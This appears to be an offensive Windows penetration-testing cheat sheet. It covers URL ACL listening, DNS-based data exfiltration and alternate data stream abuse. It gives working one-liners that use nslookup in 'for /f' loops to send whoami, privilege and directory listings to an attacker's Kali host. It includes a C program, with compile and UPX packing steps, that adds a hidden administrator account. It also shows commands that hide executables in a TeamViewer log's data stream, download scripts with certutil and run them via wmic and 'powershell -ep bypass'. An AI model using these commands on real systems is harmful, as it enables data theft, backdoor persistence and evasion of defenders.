Listen address ACLs

You can listen on http://+:80/Temporary_Listen_Addresses/ without being administrator.

netsh http show urlacl

Manual DNS shell

Attacker (Kali) must use one of these 2 options:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Victim

for /f tokens technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

You can also redirect the output, and then read it.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Calling CMD from C code

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
    int i;
    i=system("net users otherAcc 0TherAcc! /add");
    i=system("net localgroup administrators otherAcc /add");
    return 0;
}

Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)

Examples taken from https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. There are a lot more in there!

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
